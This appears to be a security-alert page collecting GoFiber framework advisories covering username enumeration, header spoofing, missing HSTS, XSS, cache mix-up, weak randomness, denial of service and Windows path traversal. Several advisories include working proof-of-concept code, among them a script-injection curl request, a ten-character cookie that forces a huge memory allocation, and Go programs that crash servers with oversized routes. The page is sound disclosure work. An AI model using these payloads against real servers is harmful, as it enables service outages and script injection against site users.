Where
-Infinity
0
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The default Authorizer function in GoFiber's BasicAuth middleware uses short-circuit evaluation that skips password hash comparison for non-existent usernames. With bcrypt-hashed passwords (the primary use case), the timing difference between a valid and invalid username is approximately 1,000,000:1 (~100ms vs ~100ns), enabling reliable remote username enumeration.

Vulnerable Code

File: middleware/basicauth/config.go, lines 126-138

go if cfg.Authorizer == nil { verifiers := make(map[string]func(string) bool, len(cfg.Users)) for u, hpw := range cfg.Users { v, err := parseHashedPassword(hpw) if err != nil { panic(err) } verifiers[u] = v } cfg.Authorizer = func(user, pass string, fiber.Ctx) bool { verify, ok := verifiers[user] return ok && verify(pass) // line 137: short-circuit skips verify() if user unknown } }

Data Flow

1. Attacker sends Authorization: Basic <base64(candidate:wrongpass)> 2. BasicAuth middleware decodes credentials and calls cfg.Authorizer(user, pass, c) 3. Map lookup verifiers[user] returns ok=false for non-existent users 4. Go && short-circuit: false && verify(pass) returns immediately without calling verify() 5. For valid users, verify(pass) executes bcrypt.CompareHashAndPassword() (line 167: ~100ms at default cost 10) 6. Timing difference: ~100ns (invalid user) vs ~100ms (valid user) = 1,000,000:1 ratio

Timing comparison by hash type:

| Hash Type | Valid User | Invalid User | Ratio | |-----------|-----------|--------------|-------| | bcrypt ($2) | ~100 ms | ~100 ns | 1,000,000:1 | | SHA-512 | ~1-5 us | ~100 ns | 10-50:1 | | SHA-256 | ~1-5 us | ~100 ns | 10-50:1 |

Impact

- Username enumeration: Attacker reliably determines which usernames exist by measuring response latency - Targeted brute force: After enumerating valid usernames, password brute force is focused only on real accounts - Account discovery: In applications where usernames are sensitive (internal tools, admin panels), leaking their existence is itself a security issue

Notes

- Password hash comparisons themselves are timing-safe: subtle.ConstantTimeCompare is used correctly for SHA-256 (line 185), SHA-512 (line 176), and bcrypt uses its own constant-time comparison - The fix is to always execute a dummy hash comparison for unknown users: bcrypt.CompareHashAndPassword(dummyHash, []byte(pass)) and discard the result - This pattern matches CVE-2023-36456 (Authentik timing oracle) and similar findings in other auth libraries

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

The BalancerForward proxy helper in GoFiber uses Header.Add() instead of Header.Set() when injecting the X-Real-IP header. This appends the real client IP as a second header value rather than replacing any attacker-supplied value. Upstream servers that read the first X-Real-IP header (nginx, Express, most HTTP servers) use the attacker's spoofed IP for logging, rate limiting, and access control.

Vulnerable Code

File: middleware/proxy/proxy.go, lines 270-285

go func BalancerForward(servers []string, clients ...fasthttp.Client) fiber.Handler { r := &roundrobin{ current: 0, pool: servers, } return func(c fiber.Ctx) error { server := r.get() if !strings.HasPrefix(server, "http") { server = "http://" + server } c.Request().Header.Add("X-Real-IP", c.IP()) // line 282: Add, not Set return Do(c, server+c.OriginalURL(), clients...) } }

Data Flow

1. Attacker sends request with X-Real-IP: 10.0.0.1 (spoofed internal IP) 2. BalancerForward handler executes at line 282 3. c.Request().Header.Add("X-Real-IP", c.IP()) APPENDS the real IP as a second header 4. Upstream server receives: X-Real-IP: 10.0.0.1 AND X-Real-IP: <real-attacker-ip> 5. Most HTTP servers (nginx, Node.js, Apache) read the FIRST value 6. Upstream uses 10.0.0.1 for all IP-dependent logic

Impact

- Rate limit bypass: IP-based rate limiting at the upstream uses the spoofed IP, allowing unlimited requests - IP ACL bypass: Internal IP allowlists (e.g., admin panels restricted to 10.0.0.0/8) can be bypassed - Audit log poisoning: Security logs record the spoofed IP, making incident investigation unreliable - Geolocation bypass: IP-based geofencing or region restrictions are circumvented

Fix

Replace Header.Add() with Header.Set() at line 282:

go c.Request().Header.Set("X-Real-IP", c.IP())

Header.Set() replaces any existing header value, ensuring only the real client IP is forwarded.

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

The helmet middleware in gofiber/fiber never sets the Strict-Transport-Security (HSTS) response header, even when HSTSMaxAge is explicitly configured, because the condition check at helmet.go:67 uses c.Protocol() — which returns the HTTP protocol version string (e.g., "HTTP/1.1", "HTTP/2.0") — instead of c.Scheme() — which returns the URL scheme ("http" or "https"). Since c.Protocol() never equals "https" in any real deployment, the HSTS header is permanently disabled, defeating the security protection.

Details

Root cause: middleware/helmet/helmet.go, line 67:

go if c.Protocol() == "https" && cfg.HSTSMaxAge != 0 {

c.Protocol() (defined at req.go:865-867) delegates to fasthttp.Request.Header.Protocol(), which returns the HTTP protocol version: - "HTTP/1.1" for HTTP/1.1 connections - "HTTP/2.0" for HTTP/2 connections

The correct method is c.Scheme() (defined at req.go:844-862), which returns: - "http" for plain HTTP connections - "https" for TLS connections

Since "HTTP/1.1" != "https" always evaluates to true, the entire HSTS block (lines 67-76) is dead code.

Note on test coverage: The existing helmet test (helmettest.go) passes because it uses ctx.Request.Header.SetProtocol("https") to artificially force Protocol() to return "https". However, fasthttp.Request.Header.SetProtocol() sets the HTTP version field, and real HTTP requests never have protocol "https" — they have "HTTP/1.1" or "HTTP/2.0". The test is validating the wrong thing.

PoC

Clean-checkout maintainer-runnable recipe:

1. Save the following as middleware/helmet/pochststest.go:

go package helmet

import ( "crypto/tls" "net/http/httptest" "testing"

"github.com/gofiber/fiber/v3" )

func TestPoCHSTSNeverSet(t testing.T) { app := fiber.New() app.Use(New(Config{ HSTSMaxAge: 31536000, })) app.Get("/", func(c fiber.Ctx) error { return c.SendString("ok") })

// Simulate HTTPS connection req := httptest.NewRequest(fiber.MethodGet, "/", nil) req.TLS = &tls.ConnectionState{}

resp, := app.Test(req) hsts := resp.Header.Get("Strict-Transport-Security")

if hsts == "" { t.Log("BUG CONFIRMED: HSTS header not set. c.Protocol() returns 'HTTP/1.1', not 'https'") t.Log("Fix: change c.Protocol() == 'https' to c.Scheme() == 'https' on line 67") } }

2. Run: go test -run TestPoCHSTSNeverSet -v ./middleware/helmet/

Expected vulnerable output: === RUN TestPoCHSTSNeverSet BUG CONFIRMED: HSTS header not set. c.Protocol() returns 'HTTP/1.1', not 'https' Fix: change c.Protocol() == 'https' to c.Scheme() == 'https' on line 67 --- PASS: TestPoCHSTSNeverSet

Expected output after fix: === RUN TestPoCHSTSNeverSet --- PASS: TestPoCHSTSNeverSet (HSTS header is set: "max-age=31536000; includeSubDomains")

Observed output from this environment (commit ee98695f): === RUN TestPoCHSTSNeverSet pochststest.go:39: HSTS header value: "" pochststest.go:42: BUG CONFIRMED: HSTS header is NOT set even over TLS pochststest.go:43: Root cause: helmet.go:67 uses c.Protocol() which returns HTTP version pochststest.go:44: c.Protocol() returns 'HTTP/1.1' not 'https' pochststest.go:45: Fix: use c.Scheme() == 'https' instead of c.Protocol() == 'https' --- PASS: TestPoCHSTSNeverSet

Negative/control case: With HSTSMaxAge: 0 (default), HSTS is correctly not set (this is expected behavior, not a bug).

Cleanup: Remove pochststest.go after verification.

Impact

The HSTS header is never applied in production, leaving all users vulnerable to: - SSL stripping attacks: An active network attacker can downgrade HTTPS connections to HTTP, intercepting traffic between the client and server. - Protocol downgrade: Without HSTS, browsers will silently accept HTTP connections to the site, even if the site supports HTTPS. - Cookie theft over HTTP: Session cookies without the Secure flag will be sent over HTTP if the user is tricked into an HTTP connection.

This affects any application that: 1. Uses the helmet middleware 2. Configures HSTSMaxAge > 0 expecting HSTS protection 3. Serves traffic over HTTPS

The vulnerability requires an active MITM attacker on the network path, which is realistic in public Wi-Fi, corporate networks, and ISP-level scenarios.

Suggested remediation

In middleware/helmet/helmet.go, line 67, replace c.Protocol() with c.Scheme():

go // Before (broken): if c.Protocol() == "https" && cfg.HSTSMaxAge != 0 {

// After (fixed): if c.Scheme() == "https" && cfg.HSTSMaxAge != 0 {

Additionally, update the existing test to use a realistic TLS simulation instead of SetProtocol("https"):

go // Before (artificial - sets HTTP version to "https" which never happens in practice): ctx.Request.Header.SetProtocol("https")

// After (realistic - simulates TLS connection): ctx.RequestCtx().Request.Header.SetProtocol("HTTP/1.1") ctx.RequestCtx().TLS = &tls.ConnectionState{}

Regression test: Add a test case that verifies HSTS is set when req.TLS is non-nil and HSTSMaxAge > 0, without using SetProtocol.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Fiber is a web framework written in go. Prior to version 2.52.1, the CORS middleware allows for insecure configurations that could potentially expose the application to multiple CORS-related vulnerabilities. Specifically, it allows setting the Access-Control-Allow-Origin header to a wildcard () while also having the Access-Control-Allow-Credentials set to true, which goes against recommended security best practices. The impact of this misconfiguration is high as it can lead to unauthorized access to sensitive user data and expose the system to various types of attacks listed in the PortSwigger article linked in the references. Version 2.52.1 contains a patch for this issue. As a workaround, users may manually validate the CORS configurations in their implementation to ensure that they do not allow a wildcard origin when credentials are enabled. The browser fetch api, as well as browsers and utilities that enforce CORS policies, are not affected by this.

1 / 2
Source: MITRE
First published (updated )
Severity
5.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Description

A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12.

The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply."

Details The issue resides in res.go within (DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly.

The "html" branch concatenates the stringified body directly into HTML markup with no output encoding: - accept comes from r.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on any AutoFormat() call regardless of which format the developer tested against. - b is produced from body via direct assignment (string / []byte) or fmt.Sprintf("%v", body). No html.EscapeString is applied. - The resulting string is sent as text/html; charset=utf-8, so browsers render it as active HTML.

go // res.go func (r DefaultRes) AutoFormat(body any) error {

accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor")

r.Type(accept) var b string switch val := body.(type) { case string: b = val case []byte: b = r.c.app.toString(val) default: b = fmt.Sprintf("%v", val) }

switch accept { case "txt": return r.SendString(b) case "json": return r.JSON(body) case "xml": return r.XML(body) case "html": return r.SendString("<p>" + b + "</p>") case "msgpack": return r.MsgPack(body) case "cbor": return r.CBOR(body) } return r.SendString(b) } Impact

This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data.

A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path.

This may result in: - Reflected XSS in the application's origin via any request-derived value reaching AutoFormat. - Stored XSS where the reflected value originates from persisted input later passed to AutoFormat.

Proposed Patch

The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options: - AutoFormat() should treat body as data, not markup, in the "html" branch and escape it before concatenating it into the framework-generated <p> wrapper. Callers that need raw negotiated HTML should use Format() with an explicit HTML handler. - Introduce a sibling method that escapes, leave AutoFormat alone for backward compatibility.

HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper. go import "html"

// ... case "html": return r.SendString("<p>" + html.EscapeString(b) + "</p>")

html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (Ctx).Format().

Proof of Concept

bash Create project directory mkdir fiber-xss-poc && cd fiber-xss-poc

Initialize Go module go mod init fiber-xss-poc

Install Fiber v3 go get github.com/gofiber/fiber/v3

Create the PoC file cat > main.go << 'EOF' package main

import ( "github.com/gofiber/fiber/v3" )

type User struct { ID int json:"id" Name string json:"name" }

func main() { app := fiber.New() app.Get("/api/user", func(c fiber.Ctx) error { user := User{ ID: 1, Name: c.Query("name", "anonymous"), } return c.AutoFormat(user) })

app.Listen(":3000") } EOF

Run it go run main.go }

Benign JSON bash curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json' {"id":1,"name":"Alice"}

HTML sink enables XSS bash curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html' <p>{1 <script>alert(document.domain)</script>}</p>

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary Fiber cache middleware's default key generator uses only c.Path() and does not include the query string. As a result, requests like /?id=1 and /?id=2 can map to the same cache key and share the same cached response.

This can cause response mix-up (cache poisoning-like behavior) for endpoints where response content depends on query parameters.

Details Default configuration in cache middleware:

- KeyGenerator: func(c fiber.Ctx) string { return utils.CopyString(c.Path()) }

References: - https://github.com/gofiber/fiber/blob/main/middleware/cache/config.go#L90-L92 - https://github.com/gofiber/fiber/blob/main/middleware/cache/cachetest.go#L599-L621

The existing test demonstrates that when handler output depends on query parameter id, a second request with a different query still returns the first cached response (cache hit), confirming query is not part of the default cache key.

PoC Minimal PoC:

go package main

import ( "log"

"github.com/gofiber/fiber/v3" "github.com/gofiber/fiber/v3/middleware/cache" )

func main() { app := fiber.New() app.Use(cache.New()) // default config

app.Get("/", func(c fiber.Ctx) error { return c.SendString(c.Query("id", "1")) })

log.Fatal(app.Listen(":3000")) }

Reproduction:

1. GET /?id=1 - Cache miss - Response body: 1 2. GET /?id=2 - Cache hit - Response body: 1 (expected 2)

Local verification command used:

bash go test ./middleware/cache -run TestCacheWithNoCacheRequestDirective -count=1

Observed result: test passes, confirming this is current behavior.

Impact - Responses that should vary by query parameters can be mixed between requests. - In real deployments, this may leak or corrupt user/tenant-specific content if query parameters influence context or data selection. - This is deployment-dependent but security-relevant, and not safe-by-default for query-variant responses.

Suggested remediation - Change default cache key generation to include path + normalized query string (or canonicalized original URL). - Keep ability for custom key generators. - Add explicit documentation warning that path-only keying is unsafe for query-dependent responses.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Weak RNG, CSRF
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Fiber is an Express inspired web framework written in Go. Before 2.52.11, on Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4(). This vulnerability is fixed in 2.52.11.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
EPSS
0.10%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary The use of the fiberflash cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.

Details Regardless of configuration, the flash cookie is checked:

go func (app App) requestHandler(rctx fasthttp.RequestCtx) { // Acquire context from the pool ctx := app.AcquireCtx(rctx) defer app.ReleaseCtx(ctx)

// Optional: Check flash messages rawHeaders := d.Request().Header.RawHeaders() if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) { d.Redirect().parseAndClearFlashMessages() } , err = app.next(d) } else { // Check if the HTTP method is valid if ctx.getMethodInt() == -1 { = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil return }

// Optional: Check flash messages rawHeaders := ctx.Request().Header.RawHeaders() if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) { ctx.Redirect().parseAndClearFlashMessages() } }

The cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:

https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371

go // parseAndClearFlashMessages is a method to get flash messages before they are getting removed func (r Redirect) parseAndClearFlashMessages() { // parse flash messages cookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName)) if err != nil { return }

, err = r.c.flashMessages.UnmarshalMsg(cookieValue) if err != nil { return }

r.c.Cookie(&Cookie{ Name: FlashCookieName, Value: "", Path: "/", MaxAge: -1, }) }

The auto-generated tinylib/msgp deserialization reads a uint32 array header from the attacker-controlled byte stream and passes it directly to make() with no bounds check:

https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirectmsgp.go#L242

go // UnmarshalMsg implements msgp.Unmarshaler func (z redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) { var zb0002 uint32 zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) if err != nil { err = msgp.WrapError(err) return o, err } if cap((z)) >= int(zb0002) { (z) = (z)[:zb0002] } else { (z) = make(redirectionMsgs, zb0002) } for zb0001 := range z { bts, err = (z)[zb0001].UnmarshalMsg(bts) if err != nil { err = msgp.WrapError(err, zb0001) return o, err } } o = bts return o, err }

where zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) translates the attacker-controlled value into the element count and make(redirectionMsgs, zb0002) performs the unbounded allocation

So we can craft a gofiber cookie that will force a huge allocation: curl -H "Cookie: fiberflash=dd7fffffff" http://localhost:5000/hello

The cookie val is a hex-encoded msgpack array32 header: - dd = msgpack array32 marker - 7fffffff = 2 147 483 647 elements

Impact Unauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
Out-of-bounds Read
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.

Affected Versions

- Fiber v3.0.0-rc.3 and earlier v3 releases - Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation

Vulnerability Details

Root Cause

Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:

go const maxParams = 30

type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... }

The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:

- v3: path.go:514 - v2: path.go:516

go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i]

When paramsIterator >= 30, this triggers: panic: runtime error: index out of range [30] with length 30

Attack Scenario

1. Application registers route with >30 parameters (e.g., via code or dynamic routing): go app.Get("/api/:p1/:p2/:p3/.../p35", handler)

2. Attacker sends matching HTTP request: bash curl http://target/api/v1/v2/v3/.../v35

3. Server crashes during request processing with runtime panic

Proof of Concept

For Fiber v3

go package main

import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" )

func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } }

Output: Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]: github.com/gofiber/fiber/v3.(routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(App).next(...) /path/to/fiber/router.go:142

For Fiber v2

go package main

import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" )

func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } }

Output (v2): Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]: github.com/gofiber/fiber/v2.(routeParser).getMatch(...) /path/to/fiber/v2@v2.52.10/path.go:512 github.com/gofiber/fiber/v2.(Route).match(...) /path/to/fiber/v2@v2.52.10/router.go:84 github.com/gofiber/fiber/v2.(App).next(...) /path/to/fiber/v2@v2.52.10/router.go:127

Impact

Exploitation Requirements - No authentication required - Single HTTP request triggers crash - Trivially scriptable for sustained DoS - Works against any route with >30 parameters

Real-World Impact - Public APIs: Remote DoS attacks on vulnerable endpoints - Microservices: Cascade failures if vulnerable service is critical - Auto-scaling: Repeated crashes prevent proper recovery - Monitoring: Log flooding and alert fatigue

Likelihood HIGH - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request

Workarounds

Until patched, users should:

1. Audit Routes: Ensure all routes have ≤30 parameters bash # Search for potential issues grep -r "/:./:./:." . | grep -v nodemodules

2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count: go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") }

3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact

4. Monitoring: Alert on panic patterns in application logs

Timeline

- 2024-12-24: Vulnerability discovered in v3 during PR #3962 review - 2024-12-25: Proof of concept confirmed exploitability in v3 - 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause) - 2024-12-25: Security advisory created

References

- v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) - Vulnerable Code Locations: - v3: path.go:514 - v2: path.go:516

Credit

Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
EPSS
0.02%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Description A Path Traversal (CWE-22) vulnerability in Fiber allows a remote attacker to bypass the static middleware sanitizer and read arbitrary files on the server file system on Windows. This affects Fiber v3 through version 3.0.0. This has been patched in Fiber v3 version 3.1.0. Details The vulnerability resides in middleware/static/static.go within the sanitizePath function. This function attempts to sanitize the requested path by checking for backslashes, decoding the URL, and then cleaning the path.

The vulnerability stems from two combined issues: - The check for backslash characters happens before the URL decoding loop. If an attacker sends a double-encoded backslash, the initial check sees %255C and passes. The loop then decodes this into a single backslash. - The function uses path.Clean to clean the resulting string. path.Clean is designed for slash-separated paths and does not recognize backslashes as directory separators. Consequently, sequences like ..\..\ are treated as valid filenames.

When this sanitized path is later used, the backslashes are interpreted as valid separators, allowing the attacker to traverse up the directory tree. go // pkg/static/static.go func sanitizePath(p []byte, filesystem fs.FS) ([]byte, error) { ... // this check happens BEFORE decoding if bytes.IndexByte(p, '\\') >= 0 { ... } // This loop decodes %255C to %5C to \ for strings.IndexByte(s, '%') >= 0 { us, err := url.PathUnescape(s) ... s = us } // path.Clean only understands forward slashes (/) s = pathpkg.Clean("/" + s) ... return utils.UnsafeBytes(s), nil }

Impact

This impacts Fiber v3 prereleases through stable release version 3.0.0.

Successful exploitation requires the server to be using the static middleware on Windows, as this is the only OS where backslashes are treated as directory separators by the file system.

Exploitation allows directory traversal on the host server. An attacker can read arbitrary files within the scope of the application server context. Depending on permissions and deployment conditions, attackers may access sensitive files outside the web root, such as configuration files, source code, or system files. Leaking application secrets often leads to further compromise.

Patches

This has been patched in Fiber v3 version 3.0.1. Users are strongly encouraged to update to the latest available release.

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203